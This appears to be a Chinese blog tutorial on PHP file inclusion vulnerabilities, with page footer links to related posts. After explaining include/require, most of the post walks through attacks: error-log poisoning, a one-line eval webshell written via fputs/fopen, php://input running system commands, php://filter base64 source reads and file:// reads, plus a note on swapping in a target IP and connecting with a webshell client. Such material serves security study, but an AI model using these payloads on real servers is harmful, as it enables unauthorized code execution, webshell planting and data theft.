文档章节

文件包含漏洞

o
 osc_x4h57ch8
发布于 2018/04/24 12:20
字数 1347
阅读 9
收藏 0
php

精选30+云产品,助力企业轻松上云!>>>

1.什么是文件包含漏洞?

      文件包含漏洞:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件。

      出现原因:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

2.PHP文件包含的几个函数:

  include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

  include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

  require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

  Require和include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。

3.文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含

4.本地包含:

    案例:

      1.编写一个php文件与一个txt文件

        

 

        

        把他们同时放在一个文件下,这里以  phpstudy为例  放在WWW/下

      

       2.打开浏览器,进行本地包含测试

          

      3.包含成功,显示(2.txt)中文件。接下来扩展可以上传一句话木马。那shell权限。

      4.包含一个百度:

          

    5.目标机器本地包含:

          

 

 

5.远程包含

    案例:

      

    1.能访问目标主机

    2.对面开启远程包含:

        phpstudy 为例: 其他选项菜单->PHP扩展及设置->参数开关设置->allow_url_include(在最下面)

6.利用错误日志获取shell

      phpstudy 为例:当访问错误时会被存放到错误日志当中,借助错误日志插入一句话木马。

      phpstudy 日志位置:/phpstudy/apache/logs/error.log

      利用burp 抓包修改错误信息:

          

      修改之后在错误日志中可以看到,或者使用文件包含查看

        

 

  

      然后使用菜刀连接即可。

 

          以下实验均是使用phpstudy为例,有文件包含漏洞为前提。

 7.使用包含漏洞直接向对方写一个shell

     (1).在自己网站目录下写一个php文件,内容如下:

          <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
          ?>

      fputs函数 :fputs() 函数将内容写入一个打开的文件中。(可安全用于二进制文件)。如果函数成功执行,则返回写入的字节数。如果失败,则返回 FALSE。

      fopen 函数:当使用 fopen() 函数打开一个文件时,如果文件不存在,则会尝试创建该文件,并返回一个资源。

      'w'   :: 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。

      <?php eval($_POST[1]);?> :为一句话木马,使用POST方法,[1]为参数,用于菜刀连接的密码也是。

      (2).因为有文件包含漏洞,可以把这样一个文件直接写入进去。

          

      (3).如上图所示,使用包含漏洞把本地的一个文件写入进去了。接下来测试能否访问

            

        把phpinfo页面显示 赋值给参数1,可发现可以访问。接下来就可以直接菜刀获取shell。

        注释:个人实验证明,对目标主机采用时,需要把最开始的10.3.0.24换成目标ip,不过需要目标主机目录下存放一个上述的php文件,然后才可以本地调用。

8.使用文件包含漏洞直接读取文件内容

        案例:

          代码:127.0.0.1:8024/1.php?page=php://filter/read=convert.base64-encode/resource=1.php

             resource=<要过滤的数据流> :指定了你要筛选过滤的数据流

             read = <读链的筛选列表>    : 可以设定一个或多个过滤名称,以管道符 | 分隔   

          

          使用base64去访问文件内容。使用base64解码即可。可看我python中的加密解密那个博客哦。

          为啥要用base64:

            base64此编码方式可以让中文字或者图片也能在网路上顺利传输。在 BASE64 编码后的字串只包含英文字母大小写、阿拉伯数字、加号与反斜线,共 64 个基本字元,不包含其它特殊的字元,因而才取名 BASE64。编码后的字串比原来的字串 长度再加 1/3 左右。 此外应该还有一个 ROT 13 可以使用。

9.使用文件包含漏洞直接使用系统命令

        案例:

          代码:127.0.0.1:8024/1.php?page=php://input     <?php system('ipconfig')?>  注释:使用POST方法

          

          因为可以使用系统命令,所有就可以使用系统命令在本地创建一个shell文件,然后使用菜刀去连接。

          代码:127.0.0.1:8024/1.php?page=php://input                              使用POST方法

                <?php

          fputs(fopen('shell1.php','w'),'<?php eval($_POST[1]);?>');
                ?>

10.使用文件包含漏洞直接查看文件内容

        案例:

            代码:127.0.0.1:8024/1.php?page=file://D:/phpstudy/www/2.txt        (D:/phpstudy/www/2.txt )文件路径

            

 

          

 

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。
【渗透测试-web安全】文件操作漏洞

【渗透测试-web安全】文件操作漏洞 任意文件上传漏洞 攻击条件: 任意文件下载漏洞 攻击条件: 文件包含漏洞 诱因 基本分类 攻击过程 任意文件上传漏洞 攻击条件: 任意文件下载漏洞 攻击条件...

BraveAI
06/05
0
0
文件包含漏洞(pikachu)

文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接...

osc_8ogghyrc
2019/10/08
3
0
php安全开发(1)文件包含漏洞

开发过程总结的漏洞: 一,,如何造成包含漏洞:在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息...

osc_ykus6atd
2019/04/29
2
0
Kali学习笔记31:目录遍历漏洞、文件包含漏洞

文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文...

osc_yy79la80
2018/11/22
4
0
文件包含漏洞

1、原理及危害 文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allowurlinclude选项时,就可以通过PHP的某些特性函数(include(),require()和includeonce(),requironc...

osc_38e42cd3
2019/09/05
2
0

没有更多内容

加载失败,请刷新页面

加载更多

2020年中国数据存储容量最大单,杉岩数据中标2EB

【全球财经观察 | 新闻速递】这个是猛料!2020年中国数据存储容量第一单:2EB,被杉岩数据中标。具体为中标某省数据中心云存储资源池的2EB容量级分布式存储项目,由20万块磁盘打造的超级海量...

osc_n08oztl3
4分钟前
0
0
不看一下TOP20的云排名,你都不好意思说自己懂云

不看一下TOP20的云排名,你都不好意思说自己懂云 《2019年中国公有云厂商发展状况白皮书》 第二部分 2019年中国公有云厂商整体发展状况概述 既然TOP5排名、TOP10排名出现了新状况,那么2019年...

osc_p1q9onsn
5分钟前
0
0
maven标准settings文件【转载】

<?xml version="1.0" encoding="UTF-8"?> <settings xmlns="http://maven.apache.org/SETTINGS/1.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://......

LifeCode520
7分钟前
0
0
使用 export timeout = -1来免除ssh时间过长被强制下线的困扰

长时间连接ssh没有操作,可能会被强制下线,这时候,我们使用以下命令就可以免除次困扰: export timeout = -1,便不再会被强制下线了。 有的人写攻略说要写入conf配置文件里,这样确实不用每...

osc_sb30h1xb
7分钟前
0
0
实用性网站大全

本文阅读仅需三分钟,希望这篇帖子对您有帮助 大多数人不是一开始就是大神、大牛的,都是从菜鸟阶段过来的,所以咱们得沉得住气,低调沉稳的打磨,因为我很赞同郭德纲的那句话:没成功之前,...

osc_cdixgndu
9分钟前
0
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部